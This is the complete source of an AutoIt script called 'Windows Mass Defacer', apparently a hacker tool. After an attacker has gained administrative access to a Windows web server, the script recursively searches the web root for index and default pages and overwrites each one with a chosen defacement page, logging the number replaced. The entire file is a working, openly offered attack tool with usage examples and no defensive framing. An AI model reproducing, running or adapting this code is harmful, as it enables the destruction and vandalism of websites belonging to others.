Windows Mass Defacer V.1.0

;=========================================================================
;                 Windows Mass Defacer  V.1.0                             |
;                   (C)oded by B47CHGURU                                  |
;=========================================================================
;usage: mass.exe  -d <defacepath> -r <rootpath>                           |
;example: hmass.pl -d "C:\hacked.html" -r "c:\inetpub\wwwroot\"           |
;note: Quotes are necessary.!!        (Updated on 30-08-2011)             |
;if any bugs are found ...plz do inform me at [email protected]    |
;follow the status of the defacer with defacerlog.txt                     |
;=========================================================================
#RequireAdmin
#NoTrayIcon
#Include <File.au3>
#Include <Array.au3>
#include "_ArraySize.au3"
#include "RecFileListToArray.au3"
Global $defacerpath = ""
Global $rootpath = ""
$time = @HOUR&":"&@MIN&":"&@SEC
;;Get Parameters
FileOpen("defacelog.txt", 1)
ReadCmdLineParams()
 If not FileExists($defacerpath) Then
     FileWrite("defacelog.txt",@HOUR&":"&@MIN&":"&@SEC& " - "&$defacerpath&" is an invalid path to deface page..!!"&@CRLF)
     Exit
 EndIf
  If not FileExists($rootpath) Then
     FileWrite("defacelog.txt",@HOUR&":"&@MIN&":"&@SEC& " - "&$rootpath& " is an invalid root path..!!"&@CRLF)
     Exit
     EndIf



$globalvariable = 0;we define the global variable for no: of succesful defacing.



 Global $avArray[10]

$avArray[0] = "index.html"
$avArray[1] = "index.htm"
$avArray[2] = "index.asp"
$avArray[3] = "index.cfm"
$avArray[4] = "index.php"
$avArray[5] = "default.html"
$avArray[6] = "default.htm"
$avArray[7] = "default.asp"
$avArray[8] = "default.cfm"
$avArray[9] = "default.php"

 $countdeface = _ArraySize( $avArray )
 $countdeface = $countdeface - 1
If not $countdeface Then

    Exit
EndIf

lising()

func replace($array);replaces the file if exists
    local $length, $target
    local $i = 1
    $length = _ArraySize( $array )
    $length = $length - 1
    for $i = 1 To $length
        $target = $array[$i]
    FileCopy($defacerpath, $target, 9) ; Flag = 1 + 8 (overwrite + create target directory structure)
; Copy the txt-files from source to target and overwrite target files with same name
$globalvariable = $globalvariable + 1
Next
EndFunc

func lising();directory listing recursive
    Local $localdeafce
Local $asi = "0"


    for $asi = 0 To $countdeface

    Local $localdeafce = $avArray[$asi]
local $aArray = _RecFileListToArray($rootpath, $localdeafce, 1, 1, 0, 2)

if not @error = 1 Then

replace($aArray)
EndIf


        Next
    EndFunc





Func ReadCmdLineParams()

    for $i = 1 to $cmdLine[0]

        select
            ;;If the arguement equal -d
            case $CmdLine[$i] = "-d"
                ;check for missing argument
                if $i == $CmdLine[0] Then cmdLineHelpMsg()

                ;Make sure the next argument is not another paramter
                if StringLeft($cmdline[$i+1], 1) == "-" Then
                    cmdLineHelpMsg()
                Else
                    ;;Strip white space from the begining and end of the input
                    ;;Not alway nessary let it in just in case
                    $defacerpath = StringStripWS($CmdLine[$i + 1], 3)
                endif

            ;;If the arguement equal  -r
            case $CmdLine[$i] = "-r"

                ;check for missing arguement
                if $i == $CmdLine[0] Then cmdLineHelpMsg()

                ;Make sure the next argument is not another paramter
                if StringLeft($cmdline[$i+1], 1) == "-" Then
                    cmdLineHelpMsg()
                Else
                    ;;Strip white space from the begining and end of the input
                    ;;Not alway nessary let it in just in case
                    $rootpath = StringStripWS($CmdLine[$i + 1], 3)
                EndIf


        EndSelect

    Next

    ;Make sure required options are set and if not display the Help Message
    if $defacerpath == "" Or $rootpath == "" Then
        cmdLineHelpMsg()
    EndIf

EndFunc


Func cmdLineHelpMsg()
    Local $thewrite
    $thewrite &= ""&@CRLF
    $thewrite &= "========================================================================="&@CRLF
    $thewrite &= "               Krishandpatel's Windows Mass Defacer                      "&@CRLF
    $thewrite &= "                     (C)oded by B47CHGURU                               "&@CRLF
    $thewrite &= "========================================================================="&@CRLF
    $thewrite &= "usage: mass.exe  -d <defacepath> -r <rootpath>"&@CRLF
    $thewrite &= 'example: hmass.pl -d "C:\hacked.html" -r "c:\inetpub\wwwroot\"'&@CRLF
    $thewrite &= "note: Quotes are necessary.!!"&@CRLF
    $thewrite &= "========================================================================="&@CRLF&@CRLF
    FileWrite("defacelog.txt", $thewrite)
    Exit
EndFunc
FileWrite("defacelog.txt","Started defacing at "&$time& " and ended at "&@HOUR&":"&@MIN&":"&@SEC& ".Defaced "&$globalvariable&" index pages..!!"&@CRLF)